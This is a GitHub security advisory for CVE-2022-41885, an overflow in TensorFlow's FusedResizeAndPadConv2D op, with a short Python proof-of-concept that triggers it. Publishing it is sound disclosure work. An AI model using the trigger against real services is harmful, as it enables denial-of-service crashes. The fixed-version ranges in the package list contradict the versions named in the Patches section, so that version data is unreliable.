GitHub Advisoryadvisory · PyPI
GHSA-762h-vpvw-3rcx Overflow in `FusedResizeAndPadConv2D`
MEDIUM
Official page ↗
- Aliases
- CVE-2022-41885
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-131
- Reviewed
- 2022-11-21
Affected packages
• PyPI tensorflow: < 2.7.4 → fixed in 2.7.4
• PyPI tensorflow: >= 2.8.0, < 2.8.1 → fixed in 2.8.1
• PyPI tensorflow: >= 2.9.0, < 2.9.1 → fixed in 2.9.1
• PyPI tensorflow-cpu: < 2.7.4 → fixed in 2.7.4
• PyPI tensorflow-gpu: < 2.7.4 → fixed in 2.7.4
• PyPI tensorflow-cpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1
• PyPI tensorflow-gpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1
• PyPI tensorflow-cpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1
• PyPI tensorflow-gpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1
Description
Impact
When `tf.raw_ops.FusedResizeAndPadConv2D` is given a large tensor shape, it overflows.
```python
import tensorflow as tf
mode = "REFLECT"
strides = [1, 1, 1, 1]
padding = "SAME"
resize_align_corners = False
input = tf.constant(147, shape=[3,3,1,1], dtype=tf.float16)
size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
paddings = tf.constant([3,4], shape=[2], dtype=tf.int32)
filter = tf.constant(123, shape=[1,3,4,1], dtype=tf.float16)
tf.raw_ops.FusedResizeAndPadConv2D(input=input, size=size, paddings=paddings, filter=filter, mode=mode, strides=strides, padding=padding, resize_align_corners=resize_align_corners)
```
Patches
We have patched the issue in GitHub commit d66e1d568275e6a2947de97dca7a102a211e01ce.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.
Related
Alias · CVE (1)
- CVE-2022-41885 TensorFlow is an open source platform for machine learning. vulnerability
Weakness · CWE (1)
- CWE-131 Incorrect Calculation of Buffer Size weakness
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-762h-vpvw-3rcx web
- https://nvd.nist.gov/vuln/detail/CVE-2022-41885 advisory
- https://github.com/tensorflow/tensorflow/commit/d66e1d568275e6a2947de97dca7a102a211e01ce web
- https://github.com/tensorflow/tensorflow package
- https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/conv_ops_fused_image_transform.cc web